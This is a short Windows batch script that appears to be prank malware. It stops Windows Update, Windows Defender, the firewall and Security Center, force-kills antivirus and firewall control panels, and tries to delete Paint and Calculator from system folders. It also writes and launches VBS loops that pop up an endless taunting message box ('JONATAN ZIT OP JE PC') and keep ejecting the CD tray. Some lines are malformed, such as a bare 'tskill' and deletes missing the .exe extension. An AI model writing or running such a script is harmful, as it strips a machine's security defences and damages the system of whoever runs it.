@echo off
tskill mspaint
del /f /q %systemroot%\mspaint
del /f /q %systemroot%\system32\mspaint
net stop "wuauserv"
net stop "WinDefend"
taskkill /f /t /im "MSASCui.exe"
net stop "MpsSvc"
taskkill /f /t /im "FirewallControlPanel.exe"
net stop "wscsvc"
echo Do>>msgbox.vbs
echo x=msgbox("JONATAN ZIT OP JE PC",0+48,"Jonatan") >>msgbox.vbs
echo Loop>>msgbox.vbs
start "" "msgbox.vbs"
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject  >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject  >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
start
tskill
tskill calc
del /f /q %systemroot%\calc
del /f /q %systemroot%\system32\calc